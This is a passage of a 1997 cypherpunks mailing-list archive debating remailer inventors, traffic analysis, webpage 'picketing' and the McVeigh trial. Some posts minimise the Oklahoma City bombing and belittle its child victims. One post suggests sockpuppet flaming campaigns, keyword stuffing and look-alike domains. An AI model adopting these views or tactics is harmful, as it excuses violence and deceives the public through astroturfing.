madness, the melancholy, the most cruel lassitudes and disgusts
and the severest disappointments. Was Hume right? Because if he
was, there was only one organisation this string of hellish adjectives
could represent. The cryptographic devil with its 500,000 sq feet
of office space in Maryland. But surely there could be no reference
to such an organisation in the 4,000 year old Babylonian tablets.
The idea was preposterous. Wasn't it?

TABLET VII OF THE ENUMA ELISH:

ESIZKUR shall sit aloft in the house of prayer;
   May the gods bring their presents before him, that from
   him they may receive their assignments; none can without
   him create artful works.  Four black-headed ones are
   among his creatures; aside from him no god knows the
   answer as to their days.

It's a cold and wintry night, here in Melbourne. Despite this, the
gusts of wind and rain seem to be unusually chilling. What had I,
in my search for a cryptographic mythology, stumbled onto?

I look hard at the seven letters E-S-I-Z-K-U-R. A frown turns to
a smile and then a dead pan stare. I write down:

			  IRK ZEUS

--
Prof. Julian Assange  |If you want to build a ship, don't drum up people
		      |together to collect wood and don't assign them tasks
proff@iq.org          |and work, but rather teach them to long for the endless
proff@gnu.ai.mit.edu  |immensity of the sea. -- Antoine de Saint Exupery

----- End of forwarded message from proff@suburbia.net -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 4 Jun 1997 12:46:54 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: Who "invented" remailers?
In-Reply-To: <v0310280cafba70127c0a@[207.167.93.63]>
Message-ID: <v03102811afba9fb5ad1c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:44 PM -0700 6/3/97, Hallam-Baker wrote:

>The point I was making was rather different, I think the total volume
>of PGP mail of all types is probably not a large enough fraction of the
>trafic on the net to be secure. Taking any use of PGP as prima facie

^^^^^^^^^^
>evidence of subversive activity probably provides a reasonable cut.
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

If you mean as prosecutable offense, I don't think you fully understand the
laws of the United States. Much as we like to criticize the U.S., and bad
laws, and whatnot, there is no such thing as "prima facie evidence of
subversive activity," at least not since the House Unamerican Activities
Committee and Joe McCarthy.

If you mean that intelligence agencies are compiling data bases, perhaps
this is so. All the more reason to push for vastly more remailers, PipeNet,
etc.


>How many people in total do you have using the mixers? How many mixers
>are there?

Raph Levien posts his report regularly to the list, plus he has a Web site.
The remailer operator's list discusses issues, too.

As for how many people "I have" using remailers, just 7, and one of those
is about to be let go.

Your other points assume certain political conditions which probably no
cryptographic system can deal with. Our goal is to prevent such political
conditions from happening in the U.S.  Europe, despite its "privacy
commissioners," may already be a lost cause.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 4 Jun 1997 10:33:11 +0800
To: cypherpunks@toad.com
Subject: Guilty!
Message-ID: <199706040210.WAA04896@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



  There are now laws against everything and everyone is guilty of
something.
  The debate over McVeigh's guilt versus the government's guilt has as
little meaning as the coming debate over McVeigh's right to take a life
versus the government's right to take a life.
  The government can pass laws against the use of crypto or against the
bombing of federal buildings and the debating teams can line up to rant
about the justice or injustice being perpetrated by the individual or
by the government. In the end, we are left with the body count, whether
the body bags are filled with children or freedoms.

  Did McVeigh bomb the OKC building? Did Oswald kill Kennedy? Does it
really matter?
  If the CIA wasn't involved in the killing of JFK, they could have 
been. If the BATF wasn't involved in the OKC bombing, they could have
been. We all recognize the government's need/ability to interfere in
the natural course of events in order to retain the power they have to
"protect and defend" the country/government. What differs is our own
perception of whether our interests are better served by the government
or by those working in opposition to the government.

  When the government confiscates land to use for flood control, their
actions are a threat to those who lose a homestead and a boon to those
who will no longer be flooded. When the governement launches an assault
on Branch Davidians their actions are a threat to those with unconvent-
ional religious beliefs and a boon to those with mainstream religious
beliefs who don't want their family members' minds "stolen" by some
"cult."
  When someone bombs a Federal Building they are a threat to those who
have a vested interest in the government maintaining business as usual
and a boon to those who want the government to think twice before
blatantly assaulting the citizenry.

  In the end, we are left with a body count and the bodies are either
ours or those of others.
  In the end, we either look over our shoulder, or we don't, before we
enter a federal building, or sign a search warrant, or reply to a post
by Jim Bell.
  And, in the end, we will never know how many of the children who died
at Waco would have grown up to bomb Federal Buildings. We will never
know how many of the children who died in OKC would have grown up to
be imprisoned for using crypto, or slaughtered by another government
assault on an unorthodox religious congregation.

  In the end, every action we take will have a government assault team
or a Timothy McVeigh waiting to support or oppose it. If we oppose both
Waco and the OKC bombing, then we are a threat to both government and
anti-government factions.
  If we support free speech then we are a threat to those who might be
attacked and threatened by its use. If we support privacy we are a
threat to those who are attacked by anonymous sources. If we support
freedom, we are a threat to those who already have a place in the sun,
a piece of the pie, a position to defend.

  In the end, we are trampled to death in the crowded theater in which
someone has shouted "Fire!" or we end up in prison for shouting "Fire!"
in an *empty* theater. (And Rottenberg defends his support of the
original legislation which required at least ten people to be present
in the theater before shouting "Fire!" became a felony.)
  The bottom line is that life is a crapshoot.
  We support legislation that requires us to register our religious
faith so that the government can protect us from future religious 
discrimination and then we find out that "Lutherans" go to the death
camps. We oppose the legislation and later lose our homes and jobs 
because we have no proof of our religious affiliation.

  The bottom line is that no matter what our position in life, no matter
what our beliefs, opinions and actions, there are a few billion other
entities sharing our world who are organized into camps which support or
oppose us today and may do the opposite tomorrow.
  Even our actions in our own self-interests may work against us in the
future, as the result of a chain of external events. For all of our
positions and our posturing, we are, at best, pissing in the wind when
we join in the various pissing contests in life.

  I once had a friend whose parting phrase was always, "Don't get any
on you."
  I am beginning to understand what he meant.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Wed, 4 Jun 1997 13:34:02 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh
In-Reply-To: <3393682D.167E@ai.mit.edu>
Message-ID: <v03007825afbaa5a5f3c3@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:50 PM -0700 6/3/97, Kent Crispin wrote:
>Contrast ["milita violence"] with the brilliance of the anarchist
>Eward Abbey in "The Monkey Wrench Gang", where the anti-government
>acts were calculated to call forth popular support.

This is an important point.  When you kill people, you make implacable
enemies.  Consider the SF Bay area rescue team that is still trying to
learn how to live with the memory of the mangled bodies they found Oklahoma
City.  They hate the person(s) responsible for the bombing and they did not
even have relatives killed there.

If you at least avoid killing people, then you have fewer bitter enemies
and a better chance of holding on to your winnings.  The examples of
Gandhi, King, and Mandala come to mind.  Contrast their success with the
results of the violence approach as exemplified by the generations old wars
in Ireland and Israel.

For cypherpunks this comes down to: Make code, not bombs.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 4 Jun 1997 13:46:20 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: McVeigh
In-Reply-To: <3.0.2.32.19970603171127.036e9fd0@panix.com>
Message-ID: <3.0.2.32.19970603222933.03a82d40@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:29 PM 6/3/97 -0400, Hallam-Baker wrote:
>Actually remailers were invented by a lass called Stephi whose hobbies
>appeared to include being tied up for fun.

AFIK, remailers were invented by David Chaum.


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 4 Jun 1997 15:41:49 +0800
To: ravage@EINSTEIN.ssz.com
Subject: Re: Remove this link immediately
In-Reply-To: <199706032304.TAA20710@dhp.com>
Message-ID: <3.0.1.32.19970603224831.00745fc4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>>> > Your hackers resource page contains a link to my GURU'S LAIR WEB site
>>> > at http://www.tinaja.com
>>> > Please remove this link.
>>> > Please do so immediately.
>>>
>>> Short answer, no. 
>>> If you don't want links to it don't put it on the net.

Of course, if you're a Guru, you can tell people how to
block links from sites you don't like, or respond to 
requests on those links with an alternate page...

	"Become One with the Universal Resource, Link!"


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQBVAwUBM5UBr/thU5e7emAFAQFjIgH/fTCv0PzlFe06Em8cr17K1pDm6PXMxCRk
aoI1MGRrA5xxn1Nwmmotiv4xpI2Twkt66OWNM5N6w0WWl46/wzIJqA==
=lazp
-----END PGP SIGNATURE-----


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Wed, 4 Jun 1997 12:01:37 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: McVeigh
In-Reply-To: <Pine.LNX.3.91.970603182957.90A-100000@fatmans.demon.co.uk>
Message-ID: <3394ECF3.8E8@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



> The defense is a joke, but what do you expect? Whether McVeigh did it or
> not, the government wants someone to blame and McVeigh is the idea
> target, an anti-government "evil terrorist" to parade in front of the media.
Just like Phil Zimmerman, someone screws the government back, and they
point the finger at anyone.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Wed, 4 Jun 1997 12:14:36 +0800
To: Hallam-Baker <cypherpunks@toad.com
Subject: Re: McVeigh
In-Reply-To: <199706032156.RAA11085@muesli.ai.mit.edu>
Message-ID: <3.0.2.32.19970603232509.03ccfe9c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 05:56 PM 6/3/97 -0400, Hallam-Baker wrote:
>It is surprising to find that you are so willing to be an open appologist
>for McVeigh's crime but in answer to your point: No children are going to
>grow up in a better world because of McVeigh or any of his followers,
>many will not grow up at all because he murdered them.
>

Give us a break.  Governments murdered 170megs of people this century.  Tim 
was a piker.  The Federales murdered over 300 at Wounded Knee alone.  Sure Tim 
was not too bright and had some unfortunate ideas but he didn't do anything 
that the U.S. government didn't do all the time.

DCF
-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

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o4XEFcSE8kJBX/G7XQUVCIfh+kheaOd+Oiknlpe7L9MdcQ0vNPzPldMvNmdM76rT
dGdlh4AHw5U=
=3dSU
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 4 Jun 1997 13:20:31 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Webpage picketing (fwd)
Message-ID: <199706040442.XAA00428@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> Date: Tue, 3 Jun 1997 23:57:47 -0400 (EDT)
> From: Declan McCullagh <declan@pathfinder.com>
> Subject: Re: Webpage picketing

> Pickets arise from a peculiar set of circumstances that arise in
> meatspace, including public streets. Sure, you can picket The Gap at the
> store up the block from my office on Connecticut Avenue. But try to wave
> those signs outside The Gap in the Pentagon City mall not far away, and
> you'll be chased off by the security guards. It's a private space;
> different rules apply.

Pickets arise from people getting pissed off about some aspect of their
economic life and using their right to free speech to express it.

Absolutely, but I can most definitely picket the mall and the store at that
point with complete impunity from the sidewalk. And please correct me if my
geometry/geography is wrong, but in order to get into the private parking
spot at the private mall you do have to drive off the public street ACROSS
the public sidewalk where all those picketers are standing. After all, if
the mall won't let me express my opinions then I have an economic right as
a consumer to express my displeasure and try to warn other consumers of the
danger. It is irrelevant to my goal as a economic consumer whether I picket
the store inside the mall or outside. What IS important is that I have legal
access to ALL the customers using that business(es).

> And I think that we should be very careful about calling the Net a public
> forum. Sure, places like Usenet resemble a public forum in some ways, but
> it's not the same.

But I am not calling the net a public forum. I am specificaly talking about
a special case that might arise if we are not aware of the consequences. In
short it is a statement that it MIGHT be possible to use publicly funded
network backbones to seriously impede communication using the system against
itself.

> I think Greg has it right: you want to forcibly intervene in a
> communication between two consenting parties. What you want is similar to
> the right to come into my home and prevent me from speaking freely to my
> friend or lover. 

Not at all, unless you are implying the same expectation of privacy on a
public street (or backbone) that you would get in your home (or intranet).
I am stating the status quo, the level of expectant privacy on a public
street (internet) is in no way nearly as comprehensive as in your home
(intranet). Should you doubt this, walk around your living room with the
blinds drawn butt-naked and then try that again in the middle of downtown
at 5pm. If you want to go to store A and it is covered in picketers, you
WILL hear and see them even if you don't want to. Their right to speech is
such that if you want to use that business you must submit to an exposure of
their views however brief. My thesis is that it may be possible to extend
this legaly supportable model to a backbone which derives some or all of its
income from public funds. This could be a BAD thing, is it and why?. If it
is acceptable use of publicly funded resources in meatspace why should
publicy funded resources in bitspace be exempted? No more, no less.

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Wed, 4 Jun 1997 12:18:48 +0800
To: Hallam-Baker <cypherpunks@toad.com
Subject: Re: McVeigh
In-Reply-To: <199706032156.RAA11085@muesli.ai.mit.edu>
Message-ID: <3.0.2.32.19970603234401.03ccf980@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 05:56 PM 6/3/97 -0400, Hallam-Baker wrote:

>It is surprising to find that you are so willing to be an open appologist
>for McVeigh's crime but in answer to your point: No children are going to
>grow up in a better world because of McVeigh or any of his followers,
>many will not grow up at all because he murdered them.

Circa 1974, I was sitting in my law school lounge watching "The Charge of the 
Light Brigade" starring Errol Flynn on TV.  There was a group of other 
students there.  Then came the line from the film: "Men, we're going to show 
these Turks that you can't murder innocent women and children and live to 
boast about it (a British garrison had been attacked, which led to the 
Charge).  I immediately piped up, "That's funny, George McGovern did!"

McGovern, George -- Bomber pilot in WWII, "peace" candidate for President of 
the United States in 1972.  

Lots of baby killers out there in the strangest places.

As to the Children of OKC, people who turn the care of their children over to 
government employees or contractors do not place too high a value on those 
children.

DCF
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EdhtSiYxNWQ=
=ARIV
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Wed, 4 Jun 1997 11:50:00 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Who "invented" remailers?
In-Reply-To: <v0310280cafba70127c0a@[207.167.93.63]>
Message-ID: <199706040344.XAA12280@muesli.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




> Well, in light of the comments recently from Rotenberg that we are just a
> bunch of armchair activists, and in light of comments I've received that my

... Well Tim you did sorta ask for that particular comment... but passing on

> We see this "they can probably track messages if they want to" view
> expressed often. Especially by people who haven't thought about the issue
> in detail, who perhaps just think it "only stands to reason" that the NSA
> or CIA could backtrack trace messages if they wished to.

The point I was making was rather different, I think the total volume
of PGP mail of all types is probably not a large enough fraction of the
trafic on the net to be secure. Taking any use of PGP as prima facie
evidence of subversive activity probably provides a reasonable cut.

If you want to take this offline I can discuss actual examples of 
countries that use this type of trafic analysis. The point is to
identify social networks. Anyone attempting to conceal their social
network is probably subversive.

Note that the type of government I'm talking about here is way beyond
the US in authoritarianism, much more like the USSR of old.

> While not accusing Phill of being one of these folks who is just
> speculating, I really encourage him to carefully look at this issue, to do
> some calculations of the mix entropy introduced with sites use mix fan-ins
> of sufficient size.

How many people in total do you have using the mixers? How many mixers
are there? 

> (Hint: 10 remailers each taking in 10 messages of the same rounded-off size
> give 10^10 possible routings to follow. Of course, there are not 10 billion
> messsages in all. But by the pigeonhole principle, in fact, it means any
> final output message could have been any of the input messages. If the
> remailers do not reveal input-output mappings ("collusion"), it is hard to
> imagine traffic analysis doing much.

Not if the principle applied is that any use of the mixer taints the 
person concerned.

> With 100 digital mixes, each taking in 100 messages before resending, there
> are more routings to track back than there are particles in the universe.
> Smoke that, CIA!

If the total usebase is bellow 10,000 then identifying which person 
received which message is probably not too necessary.


	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 4 Jun 1997 15:42:56 +0800
To: cypherpunks@toad.com
Subject: SPAMs across the border - regulatory arbitrage strikes again
Message-ID: <3.0.1.32.19970603234726.0068a77c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



I got my first Canadian spam today - as US Congresscritters are
planning to pave a few more blocks of the Information Superhighway
with "good intentions", spammers are moving offshore (well, if
Bedford NS is offshore, anyway...) outside their grasp.
Of course, the SPAMMER's ISP is Spamford, but he could move to the
Great White North as well.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 4 Jun 1997 12:09:19 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Webpage picketing
In-Reply-To: <3.0.2.32.19970603194655.008a12f0@mail.io.com>
Message-ID: <Pine.GSO.3.95.970603234509.10259A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Pickets arise from a peculiar set of circumstances that arise in
meatspace, including public streets. Sure, you can picket The Gap at the
store up the block from my office on Connecticut Avenue. But try to wave
those signs outside The Gap in the Pentagon City mall not far away, and
you'll be chased off by the security guards. It's a private space;
different rules apply.

And I think that we should be very careful about calling the Net a public
forum. Sure, places like Usenet resemble a public forum in some ways, but
it's not the same.

I think Greg has it right: you want to forcibly intervene in a
communication between two consenting parties. What you want is similar to
the right to come into my home and prevent me from speaking freely to my
friend or lover. 

Now, perhaps a market will develop for virtual pickets. Businesses may
flock to "online storefronts" that have certain rules including the right
to create "Heineken out of Burma!" pages that appear before the beer
company's web site if a number of the mall visitors demand it -- a virtual
picket? Publications like The Nation might endorse businesses that have
virtual storefronts in such "picket friendly" environments. But this is a
stretch and more silly than not.

-Declan



On Tue, 3 Jun 1997, Greg Broiles wrote:

> At 07:21 PM 6/3/97 -0500, Jim Choate wrote:
> 
> >Under what conditions akin to sidewalk use might a provider or network
> >provider be forced to provide any user requesting a link to the
> >objectionable page with the page of the objecting group.
> 
> Let's abandon the meatspace metaphor, and just talk about what you're
> proposing - you want to insert third parties into a communication between
> two non-consenting parties. 
> 
> Why is this useful? I think it sounds like an awful idea.
> 
> >What I see is a simple single screen page that immediatly takes you to the
> >desired page. Something conceptualy akin to a picket sign.
> 
> I don't see any reason to, if we adopt your reasoning, limit this practice
> to web pages - shit, we ought to be able to attach things to each other's
> E-mail messages, hijack each other's IRC sessions, tack things onto the end
> of each other's files sent via FTP, add things to other people's NFS
> directory trees .. yeah. 
> 
> Who's going to keep track of all of this stuff? Are ISP's and backbone
> providers supposed to give other people free hard disk space/connectivity
> to do this? Or do you want the government to do it? What about blocking
> software, which erases the picketing notices? Will that be allowed?
> 
> Conventional picketing works where private space is adjacent to public
> space, such that people in the public space can limit access to the private
> space, or do things in the public space which are visible to peole in the
> private space. Adjacency isn't really meaningful in "cyberspace", because
> it depends on arbitrary and changeable "locations" .. and there's very
> little "public space" in cyberspace, at least in the way that there's
> public space (like streets and roads and parks) in meatspace. 
> 
> Do you think we should adopt "bookspace picketing", whereby public
> libraries are obligated to include hostile rants with books in their
> collections, or even notations that "The Authoritarian League believes this
> book is harmful, read _Why I Need Someone to Run My Life_ by Joe Schmo to
> learn more"? Perhaps we should implement a program of "wordspace
> picketing", whereby we're obligated to, before we orally discuss our own
> opinions in a public place, mention the counterarguments made by critics.
> 
> 
> --
> Greg Broiles                | US crypto export control policy in a nutshell:
> gbroiles@netbox.com         | 
> http://www.io.com/~gbroiles | Export jobs, not crypto.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Wed, 4 Jun 1997 12:12:02 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: May's Banal Rant
In-Reply-To: <v03102806afb8d1b8fe50@[207.167.93.63]>
Message-ID: <3.0.2.32.19970604000130.0077b860@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>(There are also reasons for them to "tone down" their rhetoric. Some of
>them have sent me e-mail saying they agree with my points (or disagree, as
>the case may be) but do not feel comfortable posting publically, given
>their present employment with these companies. This is a natural
>development. Go back and read the rhetoric in 1992-5 about controversial
>issues....many of the essayists of even the most controversial pieces then
>are now at companies and are understandably less vocal. So?)

I find this hard to believe.  I guess it takes all kinds to make a world.  In 
the current employment market for people with crypto skills, few are going to 
get fired for their political views and no one of these types would find it 
hard to get another job if fired.

Even those without crypto skills (myself for example) would find it trivial to 
find work.

I make no secret of my political views when talking to people I work with.  
Most of them are quite conventional people including government employees.  
Maybe my personal manner is less threatening. 

If my boss told me to tone down my views (something that's never happened), 
I'd argue with him.  After short arguments, people usually leave me alone.  My 
mouth intimidates them.  (My mouth not my breath.)

DCF

  
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xHHgal29UiBpAELZoZwxFuwbvySfqdFlIG4NpVEBFm7yysjzYIrJG2/J3EVXFPyG
8sBf44GV8u4=
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Wed, 4 Jun 1997 15:13:04 +0800
To: cypherpunks@toad.com
Subject: Re: Guilty!
Message-ID: <3.0.32.19970603235514.007261e0@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



TruthMonger sobered up and wrote:

>  The bottom line is that no matter what our position in life, no matter
>what our beliefs, opinions and actions, there are a few billion other
>entities sharing our world who are organized into camps which support or
>oppose us today and may do the opposite tomorrow.
....................................................................


In the end you have to be prepared to defend yourself from anyone;
as anyone can become an enemy.   

The only true support is an active intelligence. 






    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 4 Jun 1997 13:54:51 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Webpage picketing (fwd)
Message-ID: <199706040518.AAA00570@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Dude,

Forwarded message:

> Date: Tue, 03 Jun 1997 19:46:55 -0700
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: Re: Webpage picketing

> Why is this useful? I think it sounds like an awful idea.

I suspect the visitors to abortion clinics would agree with you. I doubt
the right-to-lifers or the judge would. Pleasure and good ideas are not
necessarily one-to-one.

> Who's going to keep track of all of this stuff? Are ISP's and backbone
> providers supposed to give other people free hard disk space/connectivity
> to do this? Or do you want the government to do it? What about blocking
> software, which erases the picketing notices? Will that be allowed?

One could argue that just as we must pave public sidewalks and roads as well
as provide publicly accessible sewer pipes we might be required to provide
webspace on the endpoint routers of the public sections of the backbone, and
then we ALL get to pay for our daily aggravation ("push the button to torture
the subject", subject pushes button and spasms in electric agony). Perhaps
that is the real reason it would bite.

> Conventional picketing works where private space is adjacent to public
> space, such that people in the public space can limit access to the private
> space, or do things in the public space which are visible to peole in the
> private space. Adjacency isn't really meaningful in "cyberspace", because
> it depends on arbitrary and changeable "locations" .. and there's very
> little "public space" in cyberspace, at least in the way that there's
> public space (like streets and roads and parks) in meatspace. 

Hmmm, I have NEVER seen einstein go anywhere nor the cables it is connected
to. I can certainly say that I doubt the hundreds of machines in my work lab
cavort around the shop when I am gone. No, I don't accept your premise that
the connections in the Internet are that mobile.

Lack of public space may be the saving grace, unfortunately there is quite
a bit of involvment planned by Uncle Sam if I am not mistaken...Internet II...
V-II Chip... GAK... ITAR... That supercomputer science network thingy...

Get the picture?

> Do you think we should adopt "bookspace picketing", whereby public
> libraries are obligated to include hostile rants with books in their
> collections, or even notations that "The Authoritarian League believes this
> book is harmful, read _Why I Need Someone to Run My Life_ by Joe Schmo to
> learn more"? Perhaps we should implement a program of "wordspace
> picketing", whereby we're obligated to, before we orally discuss our own
> opinions in a public place, mention the counterarguments made by critics.

You can certainly stand in front of that store on the public street and
offer to give said material away (remember to pick those up people throw
down). And there ain't a damn thing you can do to make them leave.

I would hope you would explain and address the counter-arguments of your
critics. Otherwise your discussions might be a little one sides and hopefuly
quite short. I personaly hate monotonic lunatic raves (unless there is a
kick-ass band and pretty women).

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 4 Jun 1997 15:42:26 +0800
To: cypherpunks@toad.com
Subject: Re: Webpage picketing
In-Reply-To: <3.0.2.32.19970603194655.008a12f0@mail.io.com>
Message-ID: <3.0.1.32.19970604002716.007458f8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Web page picketing is easy - there are a bunch of ways to do it,
with varying degrees of coverage.  Here are some examples:

0) Hijack DNS or routers - sorry, no points for this.

1) Convince people to use your system for web access -
easy if you're AOL or Prodigy, trying to provide a family-oriented service,
or <your company>'s firewall; you can replace URLs at playboy.com
with the "You can't access that site from here" page.

2) Convince people to use your software - Censorware Inc
can do the same kind of thing, as well as tell their mom.

3) Create a serious picket sign FAQ web page and put it out there
for people to find.  And post your FAQ to Usenet occasionally.

4) Create a picket sign web page that's more attractive to AltaVista
as your target's page.  That won't stop references to www.yourtarget.com,
but it will jump out at news reporters and casual browsers looking
for what yourtarget.com has on the web. You can do the usual comment lines
or small print at the bottom of the page
	<title>Boycott Yourtarget.com , makers of Evil_Product</title>
	<body> lots of stuff about them and why they're Bad
	<font=-3 color=black> yourtarget.com is politically incorrect.
		yourtarget.com censored your mama and burned the flag.
		yourtarget.com yourtarget.com yourtarget.com yourtarget.com
		theirproduct theirotherproduct their_type_of_business
		keywords keywords more_stuff_from_their_pages </font>

5) Keep flaming them on Usenet, especially using lots of different
pseudonyms discussing it with each other, to fill up DejaNews.
	Alice:"Did you hear that yourtarget.com exploits its workers?"
	Bob:  "No, really, are those mothercensors doing that too?"
		You know the 666 in their logo is because the Illuminati own them?"
	Alice: "That's just a 'Help, I'm being held hostage' note
		snuck in by Vl.... D.tw..l.., who used to work for them.
		But they really do make their product from baby seal hides."
Obviously you need good sub-flame picketing so people don't killfile you
like they did with S..... Ar..., the Turkish flamebot.

6) Getting a newsgroup created just for criticizing them gets extra points.

7) Set up a Boycott Information Center web page or a Badder Business Bureau
and make it easy for people to post the Bad Things done by lots of Bad People.
In addition to your targets, you could prime it with other popular Bad People,
or just advertise it well, and make it easy to use, serious-looking,
and attractive to people of the political/economic persuasion you want
to reach as well as to the press.  Declan McCullagh wrote:
> 	Now, perhaps a market will develop for virtual pickets. 
>	Businesses may flock to "online storefronts" that have certain rules 
>	including the right to create "Heineken out of Burma!" pages that appear 

8) Set up a Web Page Parodies Home Page, and make it easy for people to post
parodies of other web pages; add a zinging parody of your target.
Usenet being a moving parody of itself, it's a good place to create a 
newsgroup
that you can also use to parody the target.

9) Usenet signature lines are cheap and easy - use them, and point to
your picket web pages from them.  If you can get people to copy yours, 
even better.  

You can think of more.....


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQBVAwUBM5UY0/thU5e7emAFAQF5ZwH9FyIvhDihfBHU4IAxN3ItHE/QmUKFac+k
Gw4xP9AVzLCz99/GvHGkO123P1kmz3svlQRE/pClwx5EYDqAaq2kEQ==
=+KC+
-----END PGP SIGNATURE-----


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 4 Jun 1997 15:45:01 +0800
To: cypherpunks@toad.com
Subject: Re: Webpage picketing
Message-ID: <3.0.1.32.19970604003227.0077da20@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>Web page picketing is easy - there are a bunch of ways to do it,
>with varying degrees of coverage.  Here are some examples:
>0) Hijack DNS or routers - sorry, no points for this.

Foo.  I forgot to add an obvious variant
0a) Creating a similar or parody domain name like micros0ft.com
	or microsquish.com sometimes gets you points, if done well.


